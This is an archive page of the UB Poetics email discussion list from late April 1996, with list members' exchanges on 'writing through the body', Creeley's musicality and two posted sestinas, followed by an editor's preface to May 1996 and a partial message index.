and may have nothing to do with life.

If there is life after death
one wonders about this electric
but not about this: the truth of the body is the mouth.

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652. **Fred E. Maus**
Re: writing through -Reply
Tue 30 Apr 1996

responding to Michael Coffey:

> *clearly, some writing involves the body more than other writing; henry miller vs henry james, for example.*

writing *about* the body is not what's meant, I think

> *I suppose the musicalilty of certain prose and poetry*
> *affects the body more than certain other examples do, but could that be considered writing through he body, or simply very rhythmic or sensual writing?*

what is "musicality" of writing? what conception of music
underlies this comparison? which music, in whose experience of
it?

what on earth is simple about "very rhythmic or sensual writing"?

writing that leaves me tasting the words, feeling them in my
mouth, and/or feeling language rhythms as body rhythms,
is one way to write to my body; not the only one, I
suppose, as those are not the only or paradigmatic bodily
experiences ...

[this discussion is interesting to me, I look forward to its continuation]

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653. **Michael Coffey**
writing through -Reply -Reply
Tue 30 Apr 1996

wondering why my hackneyed sestina came back to me hacked up (not that it isn't deserving, but the end-line scheme, so damn characterstic of sestinas! was

lost)' so i resend, freshly hacked, to experiment as much as anything, with how things travel on this list--sorry to burden/michael coffey

SESTINA

The six most important words in life

do not easily nominate themselves. In death

perhaps one would find them, like pebbles in the mouth.

Who can be sure, assembling a biography, that truth

resides anywhere, much less in words? The body

sings itself, as Whitman said, and is electric.

The sky is riven with it, the mind, too, electric

in its leap and pulse, the currency of life,

so say the scientists. What they know of the body

lapses after the shop shuts down, in death,

but it is a bitter end, this truth.

It is of hard sounds in the mouth.

One makes love with the mouth

and makes sounds that sound the electric

fields of molecules in passion; for truth

not much can be said, not in this life

for the final sums are unfinished at death.

That is why we must love the body.

All things swirl here, in the sea of the body.

One can hear the spectral roar out the mouth,

can imagine its yawned maw, frozen in death

above the blackened cavity, and detect no thing electric

in the lightless absence of life.

Still, one looks for the charge of truth.

Whatever we have--even if half--has to be truth,

life and logic coterminous with the body;

beyond that there may be some life

but we cannot know what we cannot mouth.

We can sing the body electric,

as Whitman said, but it won't worry death.

Who can say it means anything, death?

It is perhaps just another form of truth

or delusion. If it is not electric,

if there is something after body,

then it is a secret in God's mouth

and may have nothing to do with life.

If there is life after death

one wonders about this electric

but not about this: the truth of the body is the mouth.

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654. Eryque Gleason
Re: Writing from the Body
Tue 30 Apr 1996

Mark, really i can't elaborate coherently. Right now i'm dealing with vague re-meberies of the "writing the body" thread of about 2 months back, and reaind cixous' "laugh of the medusa", trying to figure out what the heck she's talking about. Mebbe someone a little more daring can pinch-hit.

Eryque

On Tue, 30 Apr 1996, Mark Jones wrote:

> *[From: Eryque Gleason <[redacted]>]*
> *i really hate to re-open this wriggly ball of worms, but my current reading has brought me back to the notion of "writing through the body".*
>
> *Could you elaborate on 'writing through the body'?*
>
> *Mark J.*

↑ Index

655. Michael Coffey
Re: writing through -Reply -Reply
Tue 30 Apr 1996

---

responding to fred e. mauss, who said the following:

what is "musicality" of writing? what conception of music underlies this comparison? which music, in whose experience of it? what on earth is simple about "very rhythmic or sensual writing"? writing that leaves me tasting the words, feeling them in my mouth, etc

fred, i don't really know, of course, but musicallity in writing for me is writing that depends on harmonies, dissonances, expectations built, dashed or satisfied by the sounds generated soley by the words for the overall effect, rather than depending on logic, say, or exposition purely, or the interplay of styles and modes. Someone like John Taggart is a very musical writer, whereas Creeley is not, particularly (there is a sublime mental music in Creeley, but no musical composition, as seems to be the case with JT).

Ah, there is not necessarily anything "simple" aboutrhytmmic or sensual writing, but then again, the sing-song is sometimes so easy to achieve that one must be careful. all music isn't good. I recall John Sebastian, the singer songwriter, in some interview, saying about some music he wrote i think for a tv show, welcome back cotter, and he said, "the theme song sounds so simple," and i was struck by the unmistakeable, and banal, music in that phrase. The Theme Song Sounds So Simple. and it is. Welcome baaack...

↑ Index

656. **Henry Gould**

Re: writing through -Reply -Reply

Tue 30 Apr 1996

On Tue, 30 Apr 1996 15:08:15 -0400 Michael Coffey said:
>
>If there is life after death
>
>
>one wonders about this electric
>
>
>but not about this: the truth of the body is the mouth.

Michael, I hope you won't mind some criticism - such a good sestina deserves a better closing - in fact the only weak line really seems to be the penultimate one ("one wonders about this electric"). Maybe some other lines could be improved but I think it should close a little better... enjoyed it - thank you! - Now I'll maybe have to send my own hack-kneed sheshtina, watch out folks... - Henry Gould

↑ Index

657. **Henry Gould**

sestina here goes

Tue 30 Apr 1996

Here's a definitely 10-yr-old sestina. More hackneyed than Michael's. and not written through any-body.

DOWNTOWN SESTINA

Downtown is gleaming, a nest of glass
scant refuge for the homeless and the poor
who trudge along under looming towers
hungry, frazzled, begging small change
and subject to the better sort of people
whose eyes reflect the glitter of the city

and so many circles animate the city
captured in the high gloss of the glass
what's taken for the playground of the people
erases every doorstep of the poor
in sprawling ellipses of loose change
under the stolid mystery of these towers

under the bright conundrum of these towers
these measuring rods allotting every city
gyroscopes adjusting every change
by whirling speculation in the glass
the downward spirals of the ornery poor
set stirring turbid shadows in the people

and shuttling promotions of the people
forecast by divination in the towers
(who's growing rich and who remaining poor)
start dancing fevers in the chattering city
and snarl the artist in her broken glass
frail craft undone by overmastering change

when fortune is the favored end of change
suburbia the limbo of the people
and tender conscience faints before the glass
rocketing skyward in pretentious towers
to serve the sleek imaginary city
or swell the sullen rancor of the poor

meanwhile the rhetoricians of the poor
in campus pockets rummaging for change
inscribe the true authoritative city

and mint sterling mementos of the people
studies wherein the mind serenely towers
over safe specimens tacked up under glass

So let's raise a glass to the dizzy city--
a toast to towers, and all red-faced people!
And drink for a change among the homespun poor.

--Henry Gould

↑ Index

658. Emily Lloyd
Jouissance, schmouissance, Stein
Tue 30 Apr 1996

...I think the confusion here, at least for me, stems from not understanding what difference is implied in a phrase like "writing through the body" as opposed to "from the body" (which seems the most obvious) or plain old "writing the body." When I think of Henry Miller, I think "writing about the body" makes more sense than "through"----or writing NEAR the body (Also, howabout Ginsberg's experiments typing during sex, or the "masturbation journal" section of Kathy Acker's "The Language of the Body"?). So, is there anyone out there willing & able to articulate the distinctions between these 2 or 3 phrases? And possibly give examples? My body would be grateful, or else I would.

On a different note, any gender scholars or Stein scholars out there ever seen anything on Stein & transgenderism? Stein as gender transgressor? (not just lesbian, but woman referring to herself as "husband," etc., & living in what worked like a heterosexual relationship, Alice as traditional "wife" etc.). My fairly young interest in transgender issues has been affecting my reading of her, & I'm wondering if any work has been done on this...? I'm talking secondary sources, not Stein's own writing. emily

~~~~~~

Emily Lloyd [redacted]
"Fist my mind in your hand"--Rukeyser

↑ Index

659. Charles Alexander
Re: writing through -Reply -Reply
Tue 30 Apr 1996

> *Someone like John Taggart is a*
> *very musical writer, whereas Creeley is not, particularly (there is a*
~~~~~~

> *sublime mental music in Creeley, but no musical composition, as seems to be the case with JT).*

Have to disagree, thinking Creeley is a most musical writer, even though the music may be more minimal and less repetitive than in Taggart, more akin to certain moments in composers as diverse as Stravinsky and John Cage, whereas Taggart's music is more recognizable in his repeating patterns, building constantly. I greatly admire the work of both Creeley & Taggart, but it seems like to not think of Creeley as musical is to cut out a great tradition of avant-garde music of our century.

Creeley has a magnificent ear for both speech & abstract patterns in language. Is this not music?

↑ Index

660. **Emily Lloyd**
Re: writing through -Reply -Reply
Tue 30 Apr 1996

At 03:54 PM 4/30/96 -0400, Michael Coffey wrote:

Someone like John Taggart is a
>very musical writer, whereas Creeley is not, particularly (there is a
>sublime mental music in Creeley, but no musical composition, as seems
>to be the case with JT).
>

O! O! O! I find Creeley *exceptionally*, maybe even *especially*, "musical." That's all. e

~~~
~~~

662. Bob Holman
AN OPEN REPLY TO MARK WALLACE
Tue 30 Apr 1996

Dear Mark,

Thank you for your letter and I agree with your concerns. Indeed, I have a great appreciation for the work of several of the poets you mentioned, and found some names new to me, always a good vital sign for a scene like yours. I do think your letter would have been more pointed if you had mentioned poets from _other_ groups, besides yours, that I failed to mention. The great ASL poets at Gaullidet, for instance, or Carolyn Forche and her crew at George Mason, or the Bethesda Writers Center (Joan Retallack can tell a tale of cutting through walls there!) . You also have simplified the "performance poetry/slam" scene: believe me, there are many distinct groups of poets among those I mentioned, all of whom I was personally involved with during a 3-week residency in DC this past fall. Indeed, the underlying purpose of that residency was to break down barriers between different cultures' poetry, and get some crossing over to happen.

Finally, thanks for your kind words re: USOPand the thrust of my letter to the Post. Your own commentary might have meant more and had a wider circulation had you sent it directly to the Washington Post as well. The way to get more poets and more poetries on TV is to expand the number of poetry shows on the cyclops-in-the-corner.

Love,

Bob Holman

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663. Walter K. Lew
Allegorical Bore/Encomiastic Firepower/Fish Phones
Tue 30 Apr 1996

Current issue of Fortune magazine includes the annual "Ode to the Fortune 500" by Stanley Bing. Blurb in the table of contents runs: "Why poetry? Because some things are just too big for prose."

"So let us now begin our ode
To capitalism's motherlodex"
etc.

Why stop at four-fold hermeneutics--why not
XXXXX

Intermedia texts always motion to a level beyond/across language, symbolized/ sustained by blank paper or a diagram or chart or blank space(s) between these all--Is that the same as Tony Green's semantic "abyss"? Or are the plurals more singular here, there (but not everywhere)?

Welcome K. A. Hehir!
re: >frustration is
letting a piece go without footnotes.
word are like fish
you catch them
admire their colours in a story to your friends.
fish that,
once tossed back into the lexicon lake
your fingerprints are washed away.<

For returning fine-finned words to the lake, without one's phoning fingerprints, see Fred Wah's short "The Poem Called Syntax" (in his _So Far_ [Vancouver: Talonbooks 1991]; also in my anthology _Premonitions_). Inverse of the Chuang-tzu analogy, in which words are the fishtrap and meaning the

↑ Index

664. Walter K. Lew
Korea, malls, etc.
Tue 30 Apr 1996

>Walter Lew, can
you tell me, is this true about South Korea, that it's as commercial as Minnesota?
-J. Davis

Wow, felt like Ramon Fernandez for a second, but without fishing boat. What, you tink only Mellicans buy Samsung VCRs and Hyundai cars? Whatever thread runs through the Egypt, Sri Lanka, Italy, Estonia, Nepal you mention as wanting to visit, it will ignite and unravel in Seoul. Minnesota can't even compare.

>Mr. Davis might like to visit South Korea. Shopping en masse as an art form has been brought to great distinction there. Designer clothes are set out in mammoth piles in blocks long+wide stores; women do nothing in South Korea but
buy clothes & plan large meals; the low-rent surrealist shopkeepers are rich as hell, spangled with huge rings, diamonds & flashy outfits. I'm only reporting this second-hand
and this is not a regional put-down (after what I've been through regarding

poor lil Minnesota I'm heading to Korea to sho till I dro).
- Henry Gould

Henry does a good job describing (How cd it be only second-hand--did you dream it?), I am guessing, either the old open-air markets that open booths off wholesale warehouses near the Great South Gate (Namdaemun) or the underground arcades near the Great East Gate (Tongdaemun); these are primarily frequented by older working-class and lower middle-class housewives and yes the bustle is incredible--more kitsch than surreal, however, I wd suggest. But it's also mainly women who run the shops--women who hardly have the leisure to shop for clothes or plan big meals. Or the description could be of the Itaewon shopping district near the U.S. 8th Army compound--it peaked around the '88 Olympics due to the influx of tourists, after many fruitful years as the arcade for many of the more than 30,000 US troops in S Korea, as well as a diverse group of other foreigners due to the low prices, understanding of what ype of tourist kitsch sells, willingness to bargain, and (perhaps most importantly) sufficient English and Japanese language knowledge of the shopkeepers: Japanese businessmen from the karaoke bars further up the avenue, Korean American kids visiting for the summer, diplomatic corps. Hot items were stuffed animaux and T-shirts, factory outlet Reeboks and Nikes, and inexpensive leather goods. But the 90's proliferation of other swankier shopping areas has been causing Itaewon to fade quickly over the last few years--it's almost seen as a remnant of an older time when people felt they had to cater more to the US Army. The most stupendous shopping areas are the many Crystal City-like department store complexes--some in the old downtown area near City Hall (Shich'ong), but mainly in the nouveau riche suburbs of Kangnam (literally, South of the River, the Han River), which is also where the catastrophe of the Sampoong Department Store collapse happened last summer. These have a completely different, elegant atmosphere, smartly uniformed, perfectly cosmeticized and anorexic salesgals, and very upscale merchandise (Printemps is also there, by the way) that dazzle and dizzy. I'm sorry to keep referring to work I've edited, but for the only serious discussion in English of these new shopping palaces--which are not surreal, but hyper-real (simulated waterfalls and mountain goats, etc.)--please see Kang Nae-hui's extended Baudrillard/Benjamin-inspired analysis of the supermall Lotte World (beautifully accompanied by Eugene Ahn's photographs) in _Muae: a journal of transcultural production_ (available from SPD or directly from me at a 20% discount--Jordan has a copy, I think). Kang tries to tell you what it really means to "sho till you dro" in Seoul today--to go spending through a maze with many entrees and no exit.

Heard on NPR that there are 42 shopping malls in Bangkok. Maybe the "same" thing's happening there. The Poetics list's "my favorite region of the U.S." thread--it made a big mall of America, I think. But I always thought a place's

particular sexualities--I'm not being abstract, I just mean how and where sex is presented/had there--were always so important to how we feel about it, even in the time of AIDS, so I wonder why that was never mentioned. Or is it only foreign cities that we normally speak of that way (aside from San Francisco and Miami?)? Japanese tourists can get very detailed sex guides to every major American city. A Japanese Navy training ship docked in New York harbor a few summers ago and a lot of its sailors on shore-leave seemed to be consulting these books as they planned their day, escaping the July heat and sidewalks in cool dark bars. Detailed, beautifully veined streetmaps with XXX peep show parlors and strip joints indicated rather than restaurants, museums, and famous skyscrapers. I sat near them and tried to be helpful, wanting mainly to practice my spoken Japanese. Kankoku jyosei ga daisuki desu ka? America no onna wa ookii desu ne. Felt like a lightweight pimp--of my beloved New York!--but they already knew more than me anyway. The bearded captain in immaculate white and heavy epaulets bought me a beer and left me there watching a Mets game. Howard Johnson was still playing left field, no more dingers in his bat, and already playing like someone on the trading block.

Walter K. Lew
[redacted]

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665. **George Bowering**
Re: writing through -Reply -Reply
Tue 30 Apr 1996

> *Someone like John Taggart is a*
> *very musical writer, whereas Creeley is not, particularly (there is a*
> *sublime mental music in Creeley, but no musical composition, as seems*
> *to be the case with JT).*
>
> *Have to disagree, thinking Creeley is a most musical writer, even though the*
> *music may be more minimal and less repetitive than in Taggart, more akin to*
> *certain moments in composers as diverse as Stravinsky and John Cage, whereas*
> *Taggart's music is more recognizable in his repeating patterns, building*
> *constantly. I greatly admire the work of both Creeley & Taggart, but it*
> *seems like to not think of Creeley as musical is to cut out a great*
> *tradition of avant-garde music of our century.*
>
> *Creeley has a magnificent ear for both speech & abstract patterns in*
> *language. Is this not music?*

Charles is right, I think. For years I have not been able to recite, for instance

In the court-
yard at midnight, at

midnight. The moon is
locked in itself, to

a man a
familiar thing.

, without singing it, singing it.

"A glove is something else again."
--W.D. Snodgrass

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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666. **Gabrielle Welford**

Poets and Writers: A Definitive Scientific Study (fwd)

Tue 30 Apr 1996

Hmmm. Chuckle? Poets not writers as well? Gab.

> *^Poets less depressed than writers, study finds@> LONDON, April 30 (Reuter) - Poets are crazier than authors or playwrights, but less likely to become depressed or alcoholics, a British psychiatrist reported on Tuesday.*
>
> *It could be because of the way their imaginations work, Dr Felix Post, who wrote the study in the British Journal of Psychiatry, said.*
>
> *Post examined the cases of 100 famous British and American writers and poets by looking at their biographies. Many good biographies, he said, provided enough detail to do an accurate psychiatric analysis.*
>
> *``They've got to be really good biographies,'' Post, a retired psychiatric consultant, said in an interview.*
>
> *He found in a previous study that writers, as a group, tended to have more mental and emotional problems than other people -- politicians or scientists, for example.*
>
> *But poets did not seem to follow the trend. ``The poets were less unstable and had fewer depressions than the others.''*
>
> *Careful analysis confirmed this. The poets, including Edgar*

> *Allan Poe and Robert Graves, had more mood swings and manic depressions requiring hospitalisation.*
> *But they were less likely than the writers, who included Ernest Hemingway and Jack London, to die young or be promiscuous. Only 31 percent of the poets were alcoholics, compared to 54 percent of playwrights.*
> *It seems writing of any sort is linked to poor mental health. Psychosis or depression was evident in 80 percent of poets, 80.5 percent of novelists and 87.5 percent of playwrights.*
> *Half the poets failed to ever achieve ``complete sexual union,'' while 42 percent of playwrights were known for their sexual promiscuity.*
> *Post said it could be down to personality differences, or the way writers and poets work.*
> *``I speculate that it is the imagination of novelists and playwrights, who are far more concerned with intimate human fate -- they've got to identify and empathise with their characters,'' Post said. ``They have greater stress in their writing.''*
> *As for the poets: ``They don't deal with human fate. They just describe their religious feelings or their love.''*
> *Post said his study did not include women writers as women tend to have different patterns of mental illness from men and his study period, starting in 1840, had too few women writers.*
> *^REUTER@> Reut10:30 04-30-96*

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667. **Tom Beard**
the sound of Creeley
Tue 30 Apr 1996

George, when you wrote:

> *Charles is right, I think. For years I have not been able to recite, for instance*
>
> *In the court-*
> *yard at midnight, at*
>
> *midnight. The moon is*
> *locked in itself, to*

> *a man a*
> *familiar thing.*
>
> *, without singing it, singing it.*

I did a double take, having just this morning sent off a review of some Bill Manhire books that quoted this poem as an example of Creeley's influence. Near the beginning of the review I wrote this re Manhire's "singing":

The iconography of song has always been important in Manhire's poetry, and it is surprising that this has been little mentioned until recently. The titles of both Sheet Music and My Sunshine, and the guitar on the cover of the latter, make this connection explicit, and songs appear throughout My Sunshine, particularly in its third section.

But how does Manhire sing? Certainly not in the form of rhymed ballads...

The songs that I hear in Manhire's poetry, especially his earlier work, are the songs that one sings to oneself; that one hums, whistles or prays under one's breath; or that one whispers to a lover, "lacking an audience, / but blessing the air". Perhaps this explains their "hermetic" quality: they are from a private, not a public space. Andrew Johnston has argued persuasively that lyric poems exist in a social space "that exists between or among people who are in a certain state of alertness, between readers, or listeners", but until recently Manhire's poetry has shied away from this space. To the reader, the words no longer mean what they did in the poet's private space, but the poems retain a fierce energy, enabling them to colonize the reader, who may be unable to explain them. The version of "The White Pebble" that lives in my head may be different from anyone else's, but that may be why I find it so powerful - it has become my poem.

To some extent, I think this applies to Creeley as well - a private kind of music (though complicated by the presence of reader/listener) that is more subtle than the obviously _musical_ style that some poets affect.

Tom Beard.

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

May 1996

636 messages · Wed 1 May 1996 – Fri 31 May 1996

On the tenth of May a storm caught four expeditions high on Everest and eight people died in it; on the afternoon of the eleventh a DC-9 out of Miami went into the Everglades at five hundred miles an hour with a hundred and ten aboard, and left so little of itself that divers worked a month in the muck to find seventy of them. In six hundred and thirty-six letters the list mentions neither, not once. The only news to get through the door arrives on the twenty-ninth, mid-argument, from Chris Stroffolino, who breaks off to report that *"some YAHOO just won in Israel"* and is gone again inside the parenthesis. The room was occupied. It was deciding what a sonnet is.

It had a formalist to hand, which was new. Annie Finch was on the list that month and posting, her essay on the formal continuum forwarded in and picked over for weeks, and she put the question that organises everything after it: is it good for poetics, she asked, to let its terminology grow so open that a term like sonnet *"ceases to carry much information"*? She wanted only to speak accurately about poetic phenomena. She had come to the wrong room, and she had come in good faith, which made what followed worse.

What followed was a swarm. Steve Carll wanted to know *"Why read another bloody sonnet"* if the name told you in advance what the poem would do. George Bowering asked since when sonnets had to run fourteen lines. William Marsh remembered a teacher who called the sonnet a short fat know-it-all. Daniel Bouchard put it to her that if the form were truly a living thing then *"isn't it kinder to kill the form?"* And the month's largest thread took its title from a joke on Dickinson — after great pain, a formal Finch comes — under which henry gould consulted his bird book and reported that *"that's no finch, it's a stufted sandsifter"*. Michael Boughn alone observed that nobody seemed interested in *"speaking up on behalf of Annie Finch"*, and offered to do it himself.

The room did not notice what it was doing, and that is the whole of the month. In March it had spent thirty messages on the word avant-garde, and Eryque Gleason had objected in as many words to the vagueness of the term — that it had grown so accommodating it no longer told anybody anything. Finch's complaint about the sonnet is that complaint exactly, arriving from the far end of the room, and it could not be heard, because of who was making it. A list unable to keep hold of its own word for two months running was in no position to explain to a

stranger why hers still meant something. It did not try. It made jokes about her name.

There is one more thing. Finch's posts kept arriving broken. Some gateway between Ohio and Buffalo was chewing them, so that her careful notices about the anthology she was editing come through with a tail of wreckage attached — Af maons on ansand fo teh lpes21 / wot knesli — and her longest replies surface interleaved with themselves: a phrase of argument, a spill of letters, argument again. It is a fault in the wire and nothing more. I have let every instance of it stand exactly where it fell, because the alternative was to tidy the one member of the list whose case was that form carries meaning — and because May 1996 is the month a room that could not agree what a sonnet was received a formalist's defence of form in pieces, and answered the pieces.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 636 in all.

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34. Steve Carll — Re: Poets and Writers: A Definitive Scientific Study (fwd)
35. Jondi Keane — writing threw the body
36. Wystan Curnow — Re: writing through Creeley's body
37. JOEL LEWIS — Re: Creeley::Boulez??

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38. Gary Hawkins — Re: Tasmania
39. Susan Schultz — Re: Tasmania
40. Joshua N Schuster — Re: writing through Creeley's body
41. Gary Hawkins — Re: Tasmania
42. Gary Hawkins — Re: blocking poems
43. Susan Schultz — Re: Tasmania
44. landers — Re: POETICS Digest - 30 Apr 1996 to 1 May 1996
45. Mark Roberts — Re: Tasmania
46. Jordan Davis — I Think of Can; US reception of Aus/NZ writing
47. Maria Damon — Re: SHMOUISSANCING STEIN
48. Steve Carll — Re: Creeley::psych guitar madman??
49. David Kellogg — Re: blocking poems

50. David Kellogg — Re: writing through Creeley's body
51. Cynthia Franklin — MELUS call for Papers
52. Emily Lloyd — Re: Cope's Stein/Rod? Gwyn?
53. Michael Coffey — Re: Cope's Stein/Rod? Gwyn? -Reply
54. Charles Alexander — visual & poetic
55. Chris Stroffolino — Re: I Think of Can; US reception of Aus/NZ writing
56. Aldon L. Nielsen — Re: POMO
57. Aldon L. Nielsen — Re: City Papers
58. Gwyn McVay — Re: City Papers
59. Carl Lynden Peters — Re: writing through Creeley's body
60. Tony Green — Reading at Alba
61. Rod Smith — May Bridge Street Readings
62. Tony Green — Re: should be on back of xxxx can
63. Rod Smith — Ear on Saturday
64. Tony Green — Re: Tasmania
65. Michael Coffey — blocking poems -Reply
66. Mark Roberts — Re: Tasmania
67. Tom Beard — word leading the idea
68. Jennifer Ashton — Re: Cope's Stein/Rod? Gwyn?
69. Scott J Pound — Re: writing threw the body
70. Eryque Gleason — Re: writing threw the body

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71. Thomas Bell — Re: writing threw the body
72. mikl-em — Re: blocking poems
73. Henry — Re: writing threw the body
74. David Kellogg — Re: blocking poems
75. Walter K. Lew — Ann Kong's Farm
76. Walter K. Lew — Other Asian American Lesbian Poets
77. Walter K. Lew — Queer Comparisons
78. Maria Damon — Re: Ann Kong's Farm
79. David Baratier — re; blocking poems
80. Ward Tietz — Writing Threw the Brain
81. henry gould — Re: Writing Threw the Brain
82. Ken Edwards — poetry/music gig

4 MAY 1996

83. landers — As Williams is to painting/photography
84. Mary Rising Higgins — Re: Williams & Painting
85. Brian McHale — Re: re; blocking poems
86. Joe Amato — Re: Writing Threw the Brain

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87. Thomas Bell — Re: Writing Threw the Brain
88. Susan Schultz — Minnesota!
89. Susan Schultz — TINFISH!
90. Jondi Keane — body peotics
91. Loss Glazier — Cite Lines: Duncan/Olson
92. William Marsh - 3809183 — Re: creeley quote
93. Bob Holman — Re: Poetry and Body
94. Chris Stroffolino — Book Announcement (forward)
95. William Slaughter — Small Press Distribution?
96. Charles Alexander — Re: Small Press Distribution?

6 MAY 1996

97. cris cheek — Re: H/EAR WAS Re: Ear on Saturday
98. cris cheek — Re: Cambridge Conference on Contemporary Poetry

99. henry gould — Re: body peotics
100. Robert Drake — visual poetry invite (forward)
101. John Cayley — Oisleand - New Cybertext
102. Chris Tietjens — peo ple apo ria
103. M. Magoolaghan — Re: creeley quote
104. Mark Roberts — AWOL: ars poetica magazine (forwarded)
105. Mark Roberts — H/EAR WAS Re: Ear on Saturday
106. Alan Golding — Visual page; Stevens and Creeley
107. Jordan Davis — apopleptic in peoria, is not
108. Jordan Davis — apoplectic in mississippi
109. Matthew S Sackmann — I'm sorry...
110. David Baratier — Re: blocking poems
111. George Bowering — Re: beckett
112. Paul Beidler — L E G A C I E S conference cfp
113. Shaunanne Tangney — Re: queery
114. Kurt Nimmo — Poetry website
115. Robert Drake — Re: Book Announcement (forward)

7 MAY 1996

116. Chris Stroffolino — Re: beckett
117. George Bowering — Re: writing through
118. George Bowering — Re: Creeley::Boulez??
119. Aldon L. Nielsen — Re: query re: the queering of Sapphics
120. David Baratier — Booglit Benefit Reading
121. John Geraets — Re: Tasmania
122. Peter Larkin — (Fwd) Cambridge Conference of Contemporar
123. Douglas Messerli — special sales from Sun & Moon Press
124. Samuel R. Truitt — Re: creeley quote
125. Alan Golding — Jordan
126. Charles Bernstein — Reading 5/17 NYC
127. Tony Green — Re: Creeley::Boulez??
128. Bob Holman — USOP

8 MAY 1996

129. Thomas Bell — threw the body
130. George Bowering — Re: the sound of Creeley
131. Walter K. Lew — Re: query re: the queering of Sapphics
132. Chris Stroffolino — Re: USOP
133. Charles Smith — Re: special sales from Sun & Moon Press
134. mikl-em — a sighter lide of a terious sopic
135. William Northcutt — George Bowering's Garden Graffffffittttii
136. Henry Gould — Re: creeley quote
137. Tod Thilleman — Re: scanning sag
138. Jordan Davis — Re: Jordan
139. Maria Damon — Re: sappho and cha at cornell
140. Herb Levy — Mandatory anouncement
141. Herb Levy — Mandatory addendum
142. Daniel Bouchard — solicitation
143. k.a. hehir — this is just to say
144. Loss Glazier — Mackey Interview
145. Matthew Gary Kirschenbaum — NEW: electronic thesis/diss site
146. Schuchat — Re: sappho and cha at cornell
147. Loss Glazier — New EPC Home Page
148. George Bowering — Re: beckett

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149. Walter K. Lew — Billy Whitelaw!

150. George Bowering — Re: Billy Whitelaw!
151. David Carl — Re: POETICS Digest - 6 May 1996 to 7 May 1996
152. Chris Stroffolino — Re: POETICS Digest - 6 May 1996 to 7 May 1996
153. Chris Stroffolino — Re: beckett
154. Maria Damon — Re: sappho and cha at cornell
155. Aldon L. Nielsen — Re: bobbobbobbob
156. Aldon L. Nielsen — Re: Sappho and Man at Yale
157. Sheila E. Murphy — Re: sappho and cha at cornell
158. Charles Alexander — Re: POETICS Digest - 6 May 1996 to 7 May 1996
159. Gabrielle Welford — THE MASSACRE HAS STARTED....IN BACHAJON,CHIAPAS. (fwd)
160. henry gould — Re: POETICS Digest - 6 May 1996 to 7 May 1996
161. Edward Foster — LANSING TALISMAN!!!
162. Edward Foster — WONDERFUL NEW BOOK
163. David Baratier — Re: LANSING TALISMAN!!!
164. Peter Zukowski — Peter Neagoe
165. Joseph Zitt — Re: special sales from Sun & Moon Press

10 MAY 1996

166. Dan Horne — (no subject)
167. Bob Holman — Re: POETICS Digest - 8 May 1996 to 9 May 1996
168. Aldon L. Nielsen — Re: relang.
169. Chris Stroffolino — Re: POETICS Digest - 8 May 1996 to 9 May 1996
170. Gwyn McVay — Re: relang.
171. Loss Glazier — 72 Hours
172. Kevin Killian — Re: POETICS Digest - 8 May 1996 to 9 May 1996
173. Charles Watts — Re: POETICS Digest - 8 May 1996 to 9 May 1996
174. Edward Foster — Re: LANSING TALISMAN!!!
175. Maria Damon — Re: 72 Hours
176. Jonathan A Levin — About about
177. Tim wood — Re: special sales from Sun & Moon Press
178. klobucar — Re: Orono Conference
179. Eryque Gleason — Re: 72 Hours
180. Charles Alexander — Re: 72 Hours
181. k.a. hehir — Re: POETICS Digest - 8 May 1996 to 9 May 1996
182. k.a. hehir — Re: special sales from Sun & Moon Press

11 MAY 1996

183. George Bowering — Re: Schneider?
184. George Bowering — Whitelaw
185. Kevin Killian — Stephen Jonas
186. Wendy Battin — Re: Electronic Ink
187. Loss Glazier — EPC Featured Connect
188. Aldon L. Nielsen — Re: = = = = =
189. Aldon L. Nielsen — Re: Orono and there abouts
190. Chris Stroffolino — Re: = = = = =
191. Chris Stroffolino — chapbook (new)
192. Bill Luoma — Larry Levis
193. Ron Silliman — Ism-isms
194. Herb Levy — Re: pick ONE
195. Maria Damon — Re: Larry Levis
196. Gary Hawkins — Re: Larry Levis

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197. landers — Re: Ism-isms
198. Aldon L. Nielsen — Re: = that is to the thing itself
199. Douglas Messerli — New Sun & Moon electronic magazine
200. Charles Alexander — info: May 12 update book information website

201. Maria Damon — Re: Ism-isms
202. landers — laughing at myself about Tagart
203. Mark Wallace — formal continuum/conspicuous repetition (fwd)
204. Walter K. Lew — Re: Billy Whitelaw 2B
205. Eryque Gleason — Re: teach, teach

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206. Thomas Bell — serious poetry?
207. Eryque Gleason — Re: serious poetry?
208. William Northcutt — to Doug Messerli
209. Chris Stroffolino — Re: formal continuum/conspicuous repetition (fwd)
210. Henry Gould — Re: formal continuum/conspicuous repetition (fwd)
211. Kevin Killian — SPT's annual soiree
212. Maria Damon — Re: Billy Whitelaw 2B
213. Maria Damon — Re: formal continuum/conspicuous repetition (fwd)
214. henry gould — formal/continuum addendum
215. Jordan Davis — all sonnets by Hal Sirowitz
216. Jordan Davis — Re: pick ONE
217. Keith Tuma — Re: formal continuum/conspicuous repetition (fwd)
218. Aldon L. Nielsen — Re: Jonas Jones
219. c.g. guertin — Re: formal continuum/conspicuous repetition (fwd)
220. Herb Levy — Re: pick ONE
221. Henry Gould — Re: formal continuum/conspicuous repetition (fwd)
222. Rod Smith — Object 6/ DC Reading
223. Jordan Davis — Re: pick ONE
224. David Baratier — formal continuum
225. Ken Norris — Somewhere Across the Border
226. Emily Lloyd — Re: Cope's Stein/Rod? Gwyn?
227. Emily Lloyd — sorry folks...
228. Tod Thilleman — Re: Poetry New York Issue #8
229. Peter Quartermain — Sun&Moon sale
230. Wystan Curnow — Re: formal continuum/conspicuous repetition (fwd)

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231. James Perez — antlers
232. Kurt Nimmo — poetry on the net
233. David Kellogg — Re: formal continuum/conspicuous repetition (fwd)
234. Jordan Davis — continuum (ht_lit & poetics coincide in xanadu)
235. Jordan Davis — Deadline and Announcement Dates
236. David Golumbia — Re: Deadline and Announcement Dates
237. Aldon L. Nielsen — Re: sometimes a formal Finch comes
238. Henry Gould — Re: sometimes a formal Finch comes
239. Tony Green — Re: formal continuum
240. henry gould — Re: sometimes a formal Finch comes
241. Tony Green — Re: formal continuum/conspicuous repetition (fwd)
242. David Golumbia — Re: sometimes a formal Finch comes
243. Gwyn McVay — Re: sometimes a formal Finch comes
244. Chris Stroffolino — Re: sometimes a formal Finch comes
245. Daniel Bouchard — LIFT chapbooks (announcement)
246. David Kellogg — Poetic Briefs
247. Emily Lloyd — Re: sometimes a formal Finch comes
248. Chris Stroffolino — Re: sometimes a formal Finch comes
249. Keith Tuma — Re: formal continuum/conspicuous repetition (fwd)
250. Gwyn McVay — Alice Notley's _The Descent of Alette_
